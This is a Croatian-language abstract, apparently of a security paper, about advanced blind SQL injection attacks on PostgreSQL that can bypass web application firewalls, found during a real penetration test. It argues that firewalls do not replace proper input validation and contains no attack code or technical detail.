U dokumentu su demonstrirani napredni napadi na blind SQL injection ranjivosti prilikom korištenja PostgreSQL baza podataka. Demonstrirani napadi rezultati su provedenog penetracijskog testa u stvarnom okruženju. Veliki broj tvrtki danas implementira vatrozide za web aplikacije u svrhu povećanja razine sigurnosti svojih web aplikacija. Međutim, korištenjem naprednih metoda napada poput onih demonstriranih u ovom dokumentu moguće je zaobići sigurnosne kontrole vatrozida za web aplikacije.

Iako vatrozidi za web aplikacije povećavaju općenitu razinu sigurnosti oni ne predstavljaju kompletno rješenje za sigurnost niti mogu zamijeniti ispravne implementacije provjere ulaznih parametara koje bi trebale biti sastavni dio svake web aplikacije.